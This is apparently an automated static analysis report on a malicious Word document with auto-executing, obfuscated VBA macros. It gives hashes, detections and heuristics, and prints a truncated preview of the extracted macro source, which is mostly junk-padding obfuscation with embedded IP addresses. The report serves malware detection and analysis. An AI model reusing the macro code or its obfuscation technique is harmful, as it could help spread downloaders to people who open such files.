Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b4ea0f38edac10f5…

MALICIOUS

Office (OLE)

191.5 KB Created: 2019-10-16 07:04:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 12e0a75281b8bfa694efcbbaa044dfe5 SHA-1: 6912b17ffe4678752922d7531ee89d7d05c6e377 SHA-256: b4ea0f38edac10f5e4b7344bfb12a768fecb4eaa18000caac3deccee95783878
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1071.001 Web Protocols

The sample is a malicious Office document containing heavily obfuscated VBA macros. Heuristics indicate the macros use CreateObject and Shell functions, likely to download and execute a second-stage payload. The presence of legacy WordBasic auto-exec markers and the ClamAV detection further support its malicious nature.

Heuristics 8

  • ClamAV: Doc.Trojan.Agent-7339371-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Agent-7339371-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 42919 bytes
SHA-256: 07dfcc593d299edaf4f216c93fe6f2f4d287753590c630a40f229e2c8e9a1c56
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Nnluhkoktjl"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Fuicpnjkhb, 0, 0, MSForms, ComboBox"
Attribute VB_Control = "Avlyjphi, 1, 1, MSForms, ComboBox"
Attribute VB_Control = "Pyxcxezpxszba, 2, 2, MSForms, ComboBox"

Attribute VB_Name = "Nnmmiehgkm"
Function Zxfdzguahlp()
On Error Resume Next
   'Hansen LLCApt. 277West'Bins LLCApt. 527North Sauer, Moore and ErdmanApt. 960Northeast
'Senior8402 Enos Light, Port Fabiola, Tokelau'Leuschke - KertzmannSuite 600Southeast Schumm, Keebler and RogahnApt. 677North
'West and SonsSuite 914North'Yost IncApt. 128South Muller - FlatleySuite 994Northwest
'Boyle - KassulkeApt. 126North'Hauck GroupApt. 440Northeast Maggio and SonsApt. 361Southwest
Ketodmqk = Xsuzvxbt 'Dibbert - StoltenbergSuite 922South Kuhn - CormierApt. 819Southeast
'Chips'Barton GroupApt. 865Northwest Macejkovic, Beer and McGlynnSuite 598Northeast
Rem 192.74.111.87'Fisher - SchoenApt. 770North Kerluke - WalshApt. 571Northeast
Rem 87.167.215.101'Gerhold - HeathcoteSuite 708Northeast Ondricka and SonsApt. 650Northeast
Lwdxxqoyuj = Jomxqkxhxj 'Ward and SonsSuite 172East Funk, Jacobson and ErnserSuite 338Southeast
Anjhhmdr = Robwrnxsqy 'Cronin, Grant and MillsApt. 733East Brekke, Kihn and SporerApt. 933Southwest
Rem Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/536.2.2 (KHTML, like Gecko) Chrome/29.0.809.0 Safari/536.2.2'Gerhold - HandApt. 801Southwest Moen - NikolausSuite 825South
Rem Product129 Leonora Circle, New Roosevelt, Malta'Huels, Schaefer and WeissnatApt. 214Southwest Connelly, Schiller and ZemlakSuite 482West

   Ignyhqvalc = Xjhgqhfx 'Marquardt, Lockman and MarksApt. 240East Robel, Grimes and AufderharSuite 957Northeast
Wxvutkjf = "Chief261 Anibal Cliffs, North Ellietown, Sri Lanka" 'Kertzmann - PfannerstillApt. 184Southwest Halvorson, Wolf and PadbergApt. 764Northeast
Poedujfmvn = Zzzhgqbjsnn 'Sauer, Bruen and BeerSuite 420West O'Keefe, Torp and GutkowskiSuite 419South
'166.212.82.72'Quigley, Hahn and KoeppSuite 044East Kuphal LLCSuite 653Southwest
Pcmwlqfkfm = Dmhcscjdh 'McLaughlin, Kulas and BeierSuite 436North Barton, Mante and KihnApt. 524Southeast
Rem 205.61.42.92'Effertz, Kulas and BinsApt. 612East Stamm - SchadenSuite 399Northwest
'75.57.14.168'Johnston - FarrellSuite 297Northeast Hoppe GroupSuite 593West
Uletejqcbwteg = Kxsftmrcceu 'Schneider, Braun and KozeySuite 589Northwest Stanton GroupApt. 875Northeast
Rem Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_5 rv:4.0; KU) AppleWebKit/534.2.0 (KHTML, like Gecko) Version/7.0.6 Safari/534.2.0'Wilderman, Schulist and GleasonSuite 527West Gerhold, Gibson and LeuschkeSuite 553North
Ldfbrgslhxbap = Ikiakcrmk 'Thompson - KertzmannApt. 952East Bernier, Watsica and HaleyApt. 622Southeast
Rem Kihn - BraunApt. 943Southwest'Lemke IncSuite 287East Mertz, Predovic and DeckowSuite 239Northwest
Rem Mozilla/5.0 (Windows NT 6.1; Win64; rv:5.9) Gecko/20100101 Firefox/5.9.1'Prohaska IncSuite 929Southeast Fadel - SchadenApt. 350South

End Function
Function Enghcrcscx()
On Error Resume Next
   Kdibpkcqr = Rnaaedzqeeck 'Lindgren, Witting and BruenApt. 206Southwest Wiza LLCSuite 175South
Vtwwtquzmvoc = 20443 'Kub, Lynch and BraunApt. 022East McKenzie, Wisoky and BernierSuite 068North
Xytjqsvakyon = "76.29.127.175" 'Hickle, Terry and McDermottSuite 647Southeast Kassulke GroupApt. 418Northeast
'International005 Pollich Bypass, Zakaryside, Bhutan'King IncSuite 469Southwest Kshlerin - RauSuite 698North
Zitnjtqguxgxs = "Tuna" 'Beahan IncApt. 159Northwest Goyette - AuerSuite 321Southeast
Lbyrzggjb = Asmyfdzbmnuov 'Walsh GroupApt. 652Northwest O'Connell, Klein and CormierSuite 913Northeast
Rdvctzuv = Qvvrtysjjtxuv 'Hilll, Howe and WillApt. 455Northeast Dickinson LLCApt. 523Southwest
Xroqrncc = "Internal742 Goyette Turnpike, Lake Jaylonside, Slovenia" 'Reynolds - BeattySuite 457Northeast Kuhic 
... (truncated)